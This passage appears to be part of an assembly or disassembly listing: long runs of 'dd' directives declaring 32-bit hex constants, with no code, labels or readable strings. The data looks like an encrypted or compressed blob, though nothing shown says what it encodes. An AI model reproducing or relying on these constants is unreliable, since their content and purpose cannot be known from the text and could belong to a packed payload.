12D56531h, 0C945EFA2h dd 18C74D31h, 0C63DE8A4h, 3DB96316h, 0BE73ADA5h, 28CC3C3Bh dd 9349D988h, 2EAC44F2h, 0AA3FC281h, 0BAD440Dh, 0A123B826h dd 3A33600h, 7F21B49Eh, 0FBAB38F2h, 8412BE78h, 0F1B026EFh dd 5B22A073h, 0FB861EDDh, 7603A806h, 8F9416DDh, 70109B37h dd 0DB7D17CCh, 56F39139h, 0ED71E9D7h, 3BF18952h, 0DC7C07E3h dd 47E98338h, 0B274F6E9h, 50DA7B3Dh, 0CB5DFDBDh, 37D57909h dd 0CD2981B7h, 49DE6222h, 0A727EDAFh, 93E5632Bh, 0B454DFBBh dd 1FC15B10h, 0B53DD9B9h, 44B057EBh, 932EAA72h, 20AA4F13h dd 982DAB7Eh, 1F9D5B0Ah, 73015187h, 34CC4ED4h, 6BD6FBADh dd 157451D2h, 8BF3A877h, 269130EDh, 49A8B26Fh, 0E3A31CEBh dd 74DB9F67h, 0C8432C7h, 6EFD7BBAh, 0D5791AA7h, 6BF1773Bh dd 0D39102C3h, 5CDA996Bh, 0C76928CDh, 44DC7258h, 0EC6412C3h dd 0BDAB5F9Ah, 0D98A47B0h, 0E0CAD58Dh, 935E7C80h, 13FDF840h dd 9E242B55h, 5B647C6h, 9BCB036Eh, 91EDE862h, 86141B41h dd 819EF1B6h, 0C4099DA6h, 0E8008475h, 0F304157Eh, 0D37C5E7Ah dd 957CB7A1h, 0DA881A5Fh, 2F6F0A70h, 0CF044C02h, 8C2CA742h dd 8C170CFCh, 0D3DAF0D8h, 6E9C7545h, 214727F3h, 0FDCAC3Ah dd 0C36972B9h, 9290D77Dh, 6D4C87A7h, 90849C2h, 648860E6h dd 9F40FBD3h, 0AE44770Fh, 0D14C115Ah, 186395D4h, 5FA6BC30h dd 0EE0C01D1h, 0E6A87E3Ch, 0CD5BF72Fh, 12A294AAh, 0B34B20F5h dd 26C7683Bh, 83F929B5h, 0A7206172h, 0FB0C4C82h, 0B7222D65h dd 339EE121h, 1F40517Ah, 1DFE371Eh, 0FB10C974h, 0D7485F5h dd 4F039252h, 0B60E925Dh, 50F7B9A0h, 2E560A55h, 0EEA53118h dd 58571ED2h, 87CEBE3Ah, 0B8D17159h, 0FF463132h, 0EEA3AEF1h dd 0FC03EBB9h, 333A5024h, 1665A09Fh, 96D4CDDEh, 0F26708A9h dd 0F91F6BDBh, 0F16F8E12h, 43ACBDE6h, 0B657F874h, 0EEF6BAC1h dd 5E5DF1D8h, 8B9C95C7h, 0A6477292h, 3999B005h, 44D017BDh dd 86CD1EEh, 37601FE9h, 11B83D26h, 343BD071h, 6B7288CCh dd 32AC89DFh, 0CB479493h, 5E08C1D2h, 0E69B3CDCh, 0CCEB1891h dd 0D3E4F5DEh, 7C210EC2h, 4B528872h, 8C95720Dh, 0C3CA035Eh dd 0B061F5E3h, 0DA1DAE1Eh, 0D33F79Fh, 97C85CE6h, 8AB22631h dd 0ED094D74h, 4F4D091Eh, 0A3B4C5D6h, 0A2CD02BFh, 452C3339h dd 0E57D8619h, 43A4ABB1h, 73803EB4h, 8E1C173Eh, 0E3EF53Eh dd 599F793Bh, 6702E72h, 0D11773B3h, 0E1C8FDEAh, 1D4772A6h dd 3898A94Ch, 78FC0D1Eh, 552AA9Ch, 0A6243A4Fh, 3BECD66Bh dd 5FF1FD24h, 20EAC1C2h, 295041FBh, 0D2822842h, 0CBDC95B3h dd 8E5A9BAh, 195F0253h, 2F9DAC32h, 3ECCD3FAh, 7780BD36h dd 33ADD965h, 0DB811122h, 0ABBCCFD6h, 687C714Eh, 98E34556h dd 0DF263C98h, 1F297949h, 57697D6Eh, 133E0546h, 0CFE0F59Ah dd 0BD6E03BEh, 0BC47407Ah, 30A20B8h, 364DAAC5h, 7B8C9EB2h dd 39A22A1Bh, 9B05BF57h, 0EFC0D1E2h, 0B9114C50h, 9D387F25h dd 9E283B9Bh, 0A3881502h, 926C7D8Fh, 374CED59h, 0F2E4F508h dd 0A5CCDF37h, 0BE1C67Eh, 0FBFB3FCEh, 6DA87026h, 0B661F3B2h dd 1E11C24h, 0B0084FF5h, 0E3F9156Bh, 811590D8h, 0B83C4369h dd 9E4ACDD1h, 30FC8930h, 5F718509h, 0DB1FA84Eh, 2A3109A4h dd 43F48561h, 7F30C1B2h, 41B1ECF0h, 48D81FC5h, 8396AD7Ah dd 63446072h, 0F9A1DC26h, 6AC80FB6h, 4F922A75h, 0F10D5138h dd 0C97C0D22h, 6DB9BED4h, 58A01211h, 18934128h, 0CBEC928Bh dd 0C8ABB9A0h, 0D736B4BCh, 0E984002h, 0DADCEDFFh, 8799B93Eh dd 1D42E576h, 7FD63147h, 3FCBDDFCh, 77889AABh, 0C82453E6h dd 0D8157B3h, 0F27A168Eh, 0B6F34B2Fh, 0F2350B1Ch, 49C1CFEDh dd 0CE820ECEh, 737E0E99h, 0EE6D355Ch, 8E6500C3h, 189CADBEh dd 5D66F5FFh, 0AB14CF36h, 0BFD0E1EEh, 0F0BBF05Eh, 377E9560h dd 0F3042133h, 4E45E0E2h, 147C8D9Eh, 273849ABh, 95440397h dd 24AF170Bh, 5B6C7D33h, 0C3207FCDh, 57E30212h, 8FA0B12Bh dd 0DE114D8Ah, 16426596h, 0C3D4717Bh, 9F8D4EB2h, 182C3D8Eh dd 0CB6D000Bh, 8F20943Bh, 0F06C0682h, 531C0C2Ch, 0B86DFDAEh dd 33B78357h, 0B48FB05Ch, 0BAF30326h, 7119080Ah, 93A49CB6h dd 2E325319h, 0E107A3B3h, 77981CFAh, 0ABE475E6h, 3F50616Bh dd 29C34CF2h, 9B29C886h, 5919D4A6h, 0B440872Eh, 0BEF2415Eh dd 573D5213h, 14747BA2h, 1F32416Ah, 11BD4E8Eh, 0C13D387Ah dd 0E0646B92h, 252BC8B7h, 94CF3DFEh, 39E87A6Eh, 0B80336A7h dd 0FF465C60h, 5AB0E175h, 8DB3CB1Fh, 0B3078D66h, 515809Fh dd 6EE5CEDEh, 68D28A34h, 0B6E33825h, 64050016h, 6E76F10Eh dd 0EA3804B5h, 0EF743841h, 0CC8BA67Fh, 0E517ADD4h, 47586A76h dd 40CAFB1h, 97D3E1F2h, 62C68C9h, 18EECCA5h, 154B1A7Ah dd 32DEBC77h, 0F64F9CE5h, 5BB32096h, 0A30ED946h, 7E8A1303h dd 369E12DDh, 0A4A33920h, 0D3DAF06Ch, 0BA9C7545h, 5275F0BDh dd 7723081h, 924DE5CEh, 0CE6364B5h, 7C23B134h, 0C454DEDCh dd 62F6783Fh, 0C36600B5h, 59D5A40Ah, 0BA6FF8BEh, 35E98802h dd 0B34EE6A4h, 2EDE6204h, 9346E8A3h, 3FD46D0Bh, 0A145E3A1h dd 1DBD813Eh, 8F4CCEA1h, 83C85815h, 6F506174h, 0FB0C1D2Eh dd 9B2BCB83h, 189D4FC4h, 9B307F88h, 2EB55B1Eh, 8112E995h dd 88C2FDEh, 542AB167h, 0BBBE42C1h, 60E78371h, 0E94A55C4h dd 6414A35Bh, 0CBF442F8h, 4498A9BAh, 41E292F7h, 84562108h dd 0BBC2F2CDh, 11D18AAh, 74444B71h, 0BF430BAh, 37EBB8h dd 67AEC45Ch, 1120B17Fh, 60D62B27h, 0B0B97CDCh, 1D15066Dh dd 9E242B52h, 74B7F318h, 101912A4h, 478EA0C5h, 0DAB5AAB5h dd 483AE1C8h, 0C9085774h, 38F9D478h, 0A39F6408h, 8E2BF97Ah dd 4F2810EDh, 0EBAD4D52h, 0E3F40DEEh, 0E27614D2h, 0A728C1ACh dd 8DBDB84Ah, 0DEE4EB11h, 29D2582h, 0EA2F6F58h, 1D4367AFh dd 36A424F6h, 5EFE3F4Ah, 3B4705BDh, 0BD5B192Ah, 6603B429h dd 0BB3CD580h, 0A1D10C5Eh, 4FF83FE5h, 0C2630359h, 3EE6872Ah dd 0CEA9FC9Dh, 0EAE82FFCh, 0A329427Fh, 8060A751h, 3BED7EEFh dd 2629BAABh, 597F372Bh, 3F4B4972h, 2EE11D2Eh, 0C9FBABAFh dd 3FC059C4h, 0A5D55062h, 93FC0329h, 0A7B8C9D4h, 0F5A438EDh dd 8524AF6Bh, 7ABCFDCFh, 0ADD3F73Fh, 19E9FE86h, 1E20670Dh dd 0E0597A0Fh, 1098DFA3h, 194031FBh, 747F7232h, 0BBC2D864h dd 778C811Dh, 88C15566h, 0EF362AA4h, 7D295A87h, 0CF78BF66h dd 42E37A0Fh, 4475C838h, 9BACB3BCh, 3E0DFC3Ah, 13242B34h dd 0CD05867Fh, 0BF6CADD4h, 47B26A14h, 316CD68h, 343F61F2h dd 7B8299C4h, 0C9299EFh, 0AB81A248h, 0E1C007D0h, 0C0F99378h dd 276E67FFh, 9344DB4Ah dd 141F1303h, 5B627998h, 29BDB8F2h, 19E4EB12h, 0A5CE0447h dd 57746D7Eh, 0BE18293Ah, 8E17B429h, 0C3AED385h, 0DA4CA92Ah dd 0D33AF9Fh, 0BADC68E6h, 0FC8091A2h, 14426F3h, 8475E21Ah dd 0A3AAC1D8h, 3EE5C52Ah, 1B28E59Dh, 0A03FF90Ah, 58E27E04h dd 9B249FB6h, 804B2DFAh, 0C70E2470h, 793E53Bh, 3F506347h dd 0FB1145A1h, 4C45D9EAh, 737AAE9Dh, 2DEDDE8Bh, 93FC032Ah dd 6A73ED7h, 3F560219h, 2E304128h, 0DBEE0D92h, 7843ACAh dd 7647587h, 0F21325Ah, 0CD71ACFEh, 898DF86h, 4355F53Ah dd 0B38B7132h, 5A9EDDC8h, 8DB4BB1Fh, 0EC04DA66h, 77D81E37h dd 4ABCCDD1h, 7DA33F0Fh, 0A6D67056h, 0F5FE685Fh, 8461BDCEh dd 55C3FE07h, 3274355Ch, 0E50CFF77h, 9ADC32BEh, 4759F2FEh dd 0F54B036h, 0CF3FE16Dh, 7933222Dh, 0BC0E5940h, 0F3FA1359h dd 19C03BE3h, 0A7EB79Fh, 3D6463CFh, 29C8816h, 0A09045D1h dd 0E8FF7D8Eh, 2D361CBFh, 85F49F06h, 9935B0F5h, 0D05C638Ah dd 0C79D387Ah, 50D4E5F7h, 959E1EFFh, 0E344CE6Eh, 56F793EDh dd 0B3C4693Eh, 559BEFA2h, 5F2041D7h, 2769E29h, 31C5ECh dd 5FA69F0Dh, 0FF443EDFh, 64D77814h, 69B26D3Bh, 0B760DB82h dd 0B1C2D32h, 3CC7BCACh, 838AA1ACh, 3374A5EFh, 0DA3CB2ABh dd 0C618D9C0h, 37FF9F3Ch, 0F816546h, 0ECB60F16h, 99BA93CCh dd 276F88D0h, 0B04936h, 0E30CBE0Dh, 0BBECC47Bh, 356B476h dd 2BF4EEBFh, 0C7F4ED14h, 0AC98A9BAh, 237C5B94h, 1F2E4110h dd 0A0B1C2F8h, 9CF0D188h, 0C62935AEh, 38BF5B1Ch, 0E2BCAD9Ch dd 82BE1EA9h, 67B5456Ch, 0DFF0016Eh, 0D27CBDA8h, 4DFDF83Dh dd 9E242B52h, 0E5F5797Fh, 2E9CD7BEh, 54115465h, 3194D67h dd 0E4F6E1F2h, 0B28CA792h, 528EEE79h, 3787153Ch, 0BA1B21DEh dd 6B7C9476h, 98E5D65Ah, 9AF4FB04h, 9545C005h, 0E06C739Ah dd 0A47C378Ah, 0A9D0C99Bh, 174534C2h, 4B5C6373h, 256BB6B7h dd 11AFE50Ch, 0B561A1CCh, 2DE11C21h, 7A084FF6h, 0A2F2D5AEh dd 0FCEE1C13h, 128A1F3h, 39F5B91Ah, 43C47A74h, 3EDAB22Ah dd 12DE5E9Dh, 0AE65022Dh, 1E3EE0C7h, 0DC9E9C41h, 0E10881CBh dd 4E7C5CFAh, 36FDD08Dh, 5B56F601h, 588C1D44h, 0B7FEEE89h dd 1B5E49A7h, 2F40C632h, 0C672A26Dh, 4438C9B0h, 636A83C9h dd 0E641B552h, 0B1FA2493h, 97A8B9CAh, 6E9BB86h, 0F206710h dd 6A0AF557h, 5F1DF0C9h, 43545B6Bh, 3C902132h, 0C8CCE130h dd 65A868A4h, 136204C5h, 5B207741h, 8C61F3B7h, 3B98587Ah dd 359F2AFh, 42107026h, 0BD51E9B3h, 3CDC5A1Ch, 0F31E4267h dd 0EF0011E2h, 0A04F8D7Dh, 19BD5617h, 9535CC56h, 0E0AE4616h dd 0A05EA7ABh, 0BA63E06h, 8637BA82h, 17E04AFEh, 842CBD7Fh dd 0B962A3Ah, 731CAA36h, 0A424F7h, 3B48B16Ch, 5892DDDh dd 7A029E6Ah, 9CBDD18Ch, 5FFDC478h, 0F57111DDh, 6FF5C55Dh dd 0E074C1CEh, 69ED3D37h, 0E06639CEh, 9FF87D4Dh, 0C15FF782h dd 54EE737Eh, 0BA5CF7BFh, 3A948EF6h, 7964EAB3h, 4303474Bh dd 0F74DEBAFh, 73C96727h, 7B55E08Bh, 34CE535Eh, 9A3CD79Fh dd 32D785C5h, 5F71C68Fh, 24EC51E7h, 0A03CF97Dh, 53653A03h dd 8267C59Bh, 0FF9D393Eh, 9BCBEA7Fh, 7C8E953Ch, 1349A170h dd 48B30DB4h, 1BAC9B33h, 6D09654Dh, 0F8D35893h, 6B445C0Bh dd 40EF2B85h, 0EB655F11h, 92E2F7CDh, 0BBCCB576h, 778899AAh dd 33445566h, 0EF001122h, 0ABBCCDDEh, 6778899Ah, 23344556h dd 0DFF00112h, 9BACBDCEh, 5768798Ah, 13243546h, 0CFE0F102h dd 8B9CADBEh, 4758697Ah, 3142536h, 0BFD0E1F2h, 7B8C9DAEh dd 3748596Ah, 0F3041526h, 0AFC0D1E2h, 85F08D9Eh, 0AA984E55h dd 0B9E345BBh, 4433C1D2h, 5B627CD2h, 0DADF484Ah, 0CB3782FAh dd 955B68C1h, 8FD73D81h, 0C9334D1Eh, 9EDD97F2h, 7383A9F4h dd 26609FE9h, 6C8125ECh, 0B3BAD4A6h, 8EC4161Bh, 30574D74h dd 49104B9Dh, 0A776667Fh, 8FF50992h, 0C32C3372h, 0D7E8F9AEh dd 93A4951Eh, 0ACE5FE82h, 441C2361h, 0D34C01C3h, 0A598E539h dd 0DFD56009h, 0BE0C133Dh, 44CB3201h, 737A79D6h, 7FAF6105h dd 6EFC9C6Ah, 0FD9ACDF2h, 46A1220Fh, 39B34128h, 0C6F1310Eh dd 871ABC9Ch, 0B104303h, 29A38F6Dh, 6AE021FEh, 0E69B148Ch dd 0FAEC75C8h, 2A7F20C1h, 7F49C82Ch, 2F88CF79h, 76382069h dd 0EA496A1h, 3003CDF4h, 67AEC8FAh, 23344556h, 0DFF03DAAh dd 0FB3148CEh, 0BF68AF59h, 32D36BD6h, 0CFE0099Ah, 0EB0930BEh dd 47589F49h, 808D2D8Bh, 0BF06047Bh, 8BB3909h, 377E98CAh dd 5789A4E9h, 38C007B1h, 416BED13h, 273BB15Ah, 2CE70516h dd 1F434C95h, 8D6C7D8Eh, 7616A662h, 1779F8D5h, 92A0E791h dd 5706F0B4h, 0E9C383Ah, 46D4E5F7h, 8E90B1BCh, 3B4C1AF2h dd 34AA42Ah, 0D17CFD16h, 0F4839031h, 2B324CA2h, 71484F1Dh dd 0A35D45CEh, 38F09AA6h, 5B2F716Ch, 9F636A25h, 0D24536C7h dd 0D0AF5031h, 57D87187h, 80B4DEFAh, 9C17EDD1h, 0D6CF70FCh dd 210C1D2Eh, 0CAB6D16Bh, 0DE09A4B8h, 65405162h, 0FC07A1h dd 97F254DFh, 6DEF8771h, 7013255h, 7A1BBBE0h, 0B66C6ECDh dd 0D8C1759Ch, 1E8BA902h, 0CBDC7182h, 0CB4D28BAh, 0F3545B85h dd 0DE7E76CAh, 7F51E03Dh, 688CF79h, 93399EBh, 13041422h dd 0ADFC5091h, 0FD77E46Dh, 0A346684Eh, 0A0C321CBh, 84B0A1F2h dd 63819D76h, 3E64106Ah, 0DE4B729Bh, 9FE928F5h, 0EF43EA48h dd 97DFD37Bh, 0F83B62C8h, 8FBBFEB9h, 6D33DA48h, 87608A48h dd 222B52C8h, 7FAFE5F7h, 423CA48h, 77A7DDEFh, 0E51B42C8h dd 6F8D629Dh, 2713BA48h, 6785DA15h, 3335B0C8h, 865C638Dh dd 66071A53h, 557C3C5h, 5DEF8AA6h, 3D8F1CBDh, 5F501DC4h dd 0D2730A16h, 959A261Ah, 83E24D74h, 49FA21EBh, 0A5B7E996h dd 0C90BE734h, 0F0449554h, 5AD7781Fh, 0C42BBD88h, 3728769Ch dd 0AA4BE256h, 9ADB637Ah, 85E415B1h, 55768BF7h, 0E227872Eh dd 6110C184h, 887CF26h, 1751014Ah, 8A2BC216h, 0A7B8CA22h dd 0F7460996h, 0FD90124Fh, 8622A848h, 97A871CFh, 75BFF586h dd 849DF491h, 0CBD2E56Ah, 0C18F0095h, 0D2D99C39h, 0FF1057FAh dd 0CAC4DDEEh, 0D749D91Fh, 0C0C98B61h, 0F00047EAh, 0B862D3B3h dd 5A53AE13h, 0FBB1CA2Ch, 34F201E8h, 6CA9E3D4h, 3D6CE46Fh dd 0B9093643h, 0AE8CD95Dh, 0CE176C0Dh, 0DFEDF24Eh, 6E141B45h dd 4E55D8B5h, 7B8C93B6h, 4640596Ah, 4F08559Bh, 8E4CB93Ch dd 0E0F54CEDh, 276E88A6h, 0BB718AECh, 0F4B1C1A8h, 65D8C92h dd 0C2E8644Ch, 62692CC9h, 8FA0E78Ah, 5F546D7Eh, 909DB321h dd 4D4DBFEh, 8C76AC52h, 0A6F2A2E9h, 81A2917Ah, 89AC5E6Bh dd 6AE052A2h, 0B4E07463h, 272BB420h, 954F303Ch, 64EFE5DAh dd 0A0A6A84Eh, 0D71E3183h, 0B3658DCAh, 0DFA31C6Ah, 31FCD88Ah dd 0ADD85442h, 2D9DD051h, 38A8B976h, 883BDC82h, 17892BEEh dd 0FC893B9Eh, 1ADBB722h, 558C7D21h, 0F00CB74h, 8223B996h dd 312413D6h, 83B405E8h, 0F6972CDEh, 9696BF54h, 0D98EF656h dd 950AB6D2h, 0D186044Eh, 8D0271CAh, 0C97E2D46h, 543CE9C2h dd 0D438E6C5h, 48B49E41h, 0C7B0D6BDh, 38FF8E39h, 7DA025E7h dd 0B2B97C56h, 0DFF037DAh, 0AF2CBDCEh, 1C8298Dh, 0EBA3BA1Dh dd 0CFE0F1D8h, 9250B5BEh, 0B3D33EC2h, 1A539036h, 0D5F87077h dd 7B8CA0AEh, 6ECC686Bh, 43041526h, 385B7B7Ah, 416BF52Bh dd 0D110F95Ah, 4F618EB1h dd 76B0F7A1h, 31540C13h, 17283C4Ah, 0EAF9A906h, 0A5C84047h dd 4B5C6D7Eh, 6F1D1D3Bh, 0E28323B7h, 2A2A8A02h, 1AA4E2E9h dd 46831900h, 103D1D01h, 6FB6D0F2h, 836895D7h, 0FDE7EDC1h dd 4974B871h, 0EEF578EDh, 1E2C3356h, 0ABE8F90Ah, 2029EBC4h dd 0CF60A74Ah, 4D343212h, 5FC76808h, 690D491Dh, 0A59094CDh dd 8A91D4C9h, 0BAC80FB2h, 78495A6h, 0BCC54797h, 6BFC0326h dd 0A590CE6Fh, 8B23C464h, 0FE9F3EB6h, 3104DD9Eh, 0FA9738D5h dd 72CC1B8Fh, 80BB9737h, 5A717899h, 0DE98DF82h, 46169C28h dd 54102132h, 587A85E2h, 763818B9h, 52EFE53Eh, 0CEA877B1h dd 1C17F3D3h, 0F23714F5h, 0F923B5DBh, 68282C12h, 20E37986h dd 579EB109h, 13243549h, 54571F16h, 8B92A53Dh, 4D58697Ah dd 88CB078Ah, 0BF061971h, 7C8C9DAEh, 89205EFFh, 0AB354F3h dd 0C5E86067h, 6B7C8D9Eh, 8F3D3D5Eh, 2A34313h, 0B72F4669h dd 5B707DA4h, 0E9C394Ah, 0F2929CDEh, 4FB96951h, 0A3B735CCh dd 0B8C6932h, 0DB095D91h, 562B084Dh, 1134ECF3h, 0F708212Ah dd 33038AE6h, 85A81EEFh, 71F04D5Eh, 46E64432h, 9B8D3DA5h dd 46A4A6Bh, 1B2235C7h, 0E1EB5D4Ah, 698C3E6Bh, 0E0101C82h dd 98A1B7D8h, 71D81FC2h, 88E6546h, 3F8699EBh, 9D7443C8h dd 464D50F7h, 63848BAEh, 83405162h, 55B57D25h, 32D8180h dd 8BE4F0FCh, 0CA7074ACh, 0BA807A87h, 1C9FB9A0h, 535A6D05h dd 0F203122h, 34CF6D3h, 9F1F2EB4h, 0E9AE658Ch, 0D650A27Ah dd 91B46C73h, 778859AAh, 0B3470966h, 94FA39E6h, 0ABB2C565h dd 4F13440h, 232A44BEh, 6E75F86Dh, 9BACB3D6h, 2CA8798Ah dd 1574A53Fh, 0E5087887h, 10D317BEh, 478EA1F9h, 31425B6h dd 5780EC07h, 530422A8h, 0A2E25940h, 0C46CBB33h, 3E45C8CAh dd 6B7C83A6h, 0FB38495Bh, 0EDCD7518h, 0B5D84937h, 5E903D8Eh dd 2FA0DE44h, 3E0AF51Ch, 5F2169E8h, 23DBF2D5h, 9182910h dd 0C509E5F6h, 248A6906h, 3B4255E6h, 9481C4D0h, 0B3BAD47Ah dd 6F982DEAh, 0B073B85Eh, 0E72E4199h, 0A3B4C5CEh, 70C8F2A6h dd 0B25BFC9Bh, 0ED10888Fh, 93A8B5C6h, 0DF5BE682h, 94A137C6h dd 71D81FC2h, 84B7291h, 3F8699F1h, 0FB0C252Eh, 4F2EEA7Fh dd 0D87EB529h, 2F7689DBh, 0ABEF7804h, 8DCD3434h, 6D7C6E1Eh dd 3558CAB7h, 0DE10BD0Eh, 0AF215EC4h, 0BE8A759Ch, 279FB6D9h dd 0BBDCED14h, 1FFEA9BAh, 4688A5F7h, 908E5B2h, 91B46693h dd 86237FAAh, 0BC1DAFCh, 0D79B11F8h, 4AEB891Eh, 7FF70EB1h dd 2334456Ch, 0E8E44112h, 20AE0D5Eh, 579EB111h, 0A2A96CE0h dd 0CFE027CAh, 0DB9CADDEh, 4B5A5E00h, 2153B23Ah, 0D757866Ch dd 8059DC4h, 377E98D6h, 0F84808Ch, 3FC746E7h, 0A3B0D9Eh dd 10F31Ah, 0FAA344E2h, 0B5D85057h, 5B2C7D8Eh, 0FDD01F4Ah dd 27E6AA17h, 1F3B179Bh, 0D4E17766h, 47185F02h, 0EB2EE8D6h dd 5EFF9DE6h, 0C083E5FEh, 0F73E51A9h, 0B3C455E6h, 0F53093B7h dd 3C3B2D8h, 925E09F0h, 38B90156h, 0DF703199h, 85ECFC0Dh dd 36D42422h, 2229EC95h, 4F60A74Ah, 201C2E3Eh, 0D11899F5h dd 597C2C3Bh, 4EAB0B72h, 0BB8F9514h, 0CF4F7EE4h, 0DEAA95BCh dd 6DA52B2h, 0C1E49CA3h, 0A9B8C9DAh, 7A533A96h, 3558D0D7h dd 0DFECFD0Eh, 27B2AECAh, 0DCE97F46h, 9920670Ah, 0A1C47BA3h dd 7778EABAh, 0C47ADDDCh, 0EA10D18Dh, 0C58C4DE6h, 8DB0222Fh dd 0B8FBBF66h, 0EF3649A1h, 0ABB4CDDEh, 0FFDE992Fh, 882E6DD9h dd 0DF26398Ah, 9C1C28B4h, 1F1881A5h, 0EB9CBA40h, 0A67AF1D8h dd 61843C43h, 3758697Ah, 98499636h, 427847D7h, 3F1A7F6h dd 1D488F32h, 5DC408C1h, 0CE4C8EBBh, 0F0B38DB4h, 276E81D9h dd 0E3D40516h, 0F661E0E7h, 0B31298E9h, 0BC225143h, 0D3DAED7Eh dd 99A39582h, 2144F523h, 30B30F3Ah, 99C38183h, 9D12BB2h dd 113BF913h, 87A3FF2Ah, 3A49D70Eh, 1980C76Ah, 3BBD2B5h dd 0E7FB09F0h, 85E8C6D6h, 77EF0629h, 1B2C3D64h, 0CD5DFD0Ah dd 6B233A9Dh, 4F607158h, 10D1303Eh, 26C26D12h, 9DEFCD85h dd 0C4C76001h, 0FB0215ADh, 0BFC8D9EAh, 0BCF498FAh, 0BEC548BCh dd 0EBFC0326h, 7B38C9DAh, 4D7BF5B6h, 3558C8D7h, 0D50CBE0Eh dd 0BBA042C7h, 0DAC97786h, 0CF20670Ah, 8F5CF062h, 684854BEh dd 62BC0B10h, 86B52BD2h, 0E1CCD3F6h, 60D1005h, 13444B6Eh dd 43001122h, 3A418491h, 6778BF62h, 0B7144556h, 0E237F80Fh dd 0AFACBDCEh, 1F8298Fh, 5A9F6821h, 0EE747E7Dh, 4C77ADD4h dd 0D7442AF3h, 8A992F5Eh, 69D017BAh, 530B2205h, 37485940h dd 0FF381566h, 72908908h, 43031298h, 31134930h, 3A37D7Ch dd 0B73766CCh, 0C6127DA4h, 2FA7BE61h, 0D3E7F51Ch, 0E294B2C2h dd 23DBF2D5h, 7182910h, 0D008C5F6h, 7F936849h, 40005D6Eh dd 62A2A97Ah, 3E8360B9h, 85AF3D27h, 0B474385Eh, 302B85D2h dd 7B334AADh, 5F708168h, 29E13DCEh, 0EF6F7E87h, 9B1EB5DCh dd 52C9F1C2h, 0F99E511h, 0B7FCAD37h, 8B34E6B6h, 22EBECC2h dd 0CC744334h, 9D63BF2Ah, 1B04242Eh, 2F4051AAh, 56A2AE20h dd 0F03D7482h, 0BB9A8BEBh, 0CA160123h, 6846C09Eh, 0ADD0554Fh dd 0E2E9AC86h, 0F20670Ah, 0E0ECEDFEh, 0DFB380C0h, 0CE5D909Eh dd 0D72B4965h, 4847AD09h, 77BED8FEh, 12D8EA67h, 80111F8h dd 0AFA01159h, 57D14613h, 80AF456Ch, 0DF26407Ah, 7A4042E9h dd 0DC5F7960h, 131A2DC5h, 0CFE0F142h, 43D3AF92h, 475CABD5h dd 6097FC6Ch, 0BF0620AEh, 3410ACAEh, 9F48596Bh, 0F3041523h dd 0FD92161Dh, 3D6FD963h, 0F3740D38h, 81894416h, 28B0F79Dh dd 315B1D13h, 0CFA30C4Ah, 0F2ACF812h, 0D21BD9D5h, 0E07C1592h dd 7C93A849h, 0C3CAE4B6h, 8B52A4DDh, 1A70E2E7h, 0B90B1900h dd 0DB495EDEh, 0FA80C771h, 7E6B3531h, 0E7F8099Ah, 0C2693EAEh dd 1F1D0C21h, 512C335Dh, 36DDA622h, 0D3394095h, 0DA60A751h dd 551F35F8h, 4A9614F6h, 0B93AA8Fh, 3F506292h, 0FCD6A12Dh dd 4CCBD9EAh, 737A946Ah, 4EC40665h, 0C7580D34h, 493DD8F2h dd 0F0748596h, 0A44B4598h, 0DBE2FC92h, 0FFF8BFCDh, 7213AAE0h dd 2E60EEC5h, 0E0DCED14h, 93DFE4B5h, 445FE875h, 0B6B2132h dd 9A0C72F7h, 0FC879980h, 33445663h, 0E849625h, 2C62CDF4h dd 769D0862h, 233481DBh, 0E1B08C12h, 0CBA000E9h, 0B65DA6A2h dd 53912E15h, 0DEE027D1h, 8B9C5143h, 8BDD6C7Ah, 6141B45h dd 0D5FF6577h, 668C28AEh, 0B9476531h, 0F30415E3h, 0BEB818ADh dd 6B7C5121h, 29F8CC5Ah, 0E608CC19h, 0B5DF4557h, 0FA3CCF8Eh dd 2D57999Fh, 0B1793406h, 0C9A0E78Dh, 0D05B2D03h, 7182991h dd 0C3D481CFh, 8EFFDDB2h, 3B4CF1F3h, 0EC36992Ah, 0B33F5AE5h dd 0B5FB91A2h, 0FFFF385Fh, 3BA471CAh, 9D04A5h, 5FA6C052h dd 0A02F7423h, 0D71E384Eh, 72283AC9h, 0D4D97158h, 0B122C9Ah dd 4C03E975h, 838AA49Ah, 0C47B6984h, 0FB021C86h, 0B7F5C27Ch dd 5B495A6h, 2F4F3939h, 39790D1Eh, 0D27954E6h, 53B68898h dd 3E8CC61Dh, 0E7A1FD24h, 0F6B8FD4Dh, 37A80497h, 0A7B922Eh dd 2F617C41h, 6798DF89h, 22D8DAF1h, 39682108h, 0DCFB9C43h dd 77889903h, 1E420AE6h, 0F8F21D69h, 0BAB414E9h, 0C667C51Ch dd 0A8330E25h, 0BE5FFF64h, 1C90B949h, 578008F1h, 32D37446h dd 50A2DC11h, 8B3C9178h, 5A96C97Ah, 0E710B0F6h, 0DE0C6679h dd 59DC4h, 377E98A2h, 0DB978EA3h, 34C3D1E2h, 6B728C22h dd 0F5DDEE00h, 0A5F74B31h dd 0AB72ECC6h, 397C3D4h, 177CBA91h, 0D3E9F506h, 0D519B1C2h dd 0E2ACCCAh, 91ADA8F1h, 4D4DB01h, 48FC04Ah, 3B4C5E58h dd 1F62EDDAh, 28731440h, 6FB6CC3Ch, 3A0B0DE3h, 0E7F90E92h dd 0C8FEEDD6h, 50C88021h, 4E2C3D4Eh, 0C02EEDAFh, 38F75A22h dd 0B852E6A5h, 0BDD6612h, 0E6209E09h, 0F843A5CCh, 3F869C40h dd 0DAACA2A7h, 0B0A0D9C0h, 268495A6h, 9A21A587h, 19B35C03h dd 8F2BBB7Fh, 0F5C435EFh, 8B09B76Bh, 0DB9124F3h, 0C32181h dd 46FCB455h, 42203142h, 0DE813FE3h, 6C0A984Eh, 0D96D17A6h dd 66F58D4Bh, 63A3DDD3h, 0D67702A7h, 3344673Eh, 31E56422h dd 0C057F0BFh, 50EA592Ah, 0C850EEACh, 16F06639h, 3AC46D26h dd 5770E199h, 0B8773546h, 3DC15945h, 0BA5AD2A5h, 20BE520Eh dd 992DD766h, 26B54D0Bh, 23639D93h, 9637C1A7h, 7881E956h dd 0AFF60B4Eh, 954CB178h, 9C27205Bh, 0E3EA00ECh, 7ED4FD4Bh dd 31576F03h, 0A4E8634Ah, 0A9D2C993h, 0BF7001C2h, 25E8E2CDh dd 8702910h, 77D4E9F6h, 5E67A2CCh, 113B7DE3h, 0FB62ED2Ah dd 5359141Dh, 0F280C771h, 806B61A2h, 0E72E48C2h, 7ED25AA5h dd 223F8168h, 0F900B2CBh, 363EF9E0h, 698F673Bh, 2EC8F482h dd 0B87B13Dh, 4C51E9FAh, 838AA41Ah, 1E26618Ch, 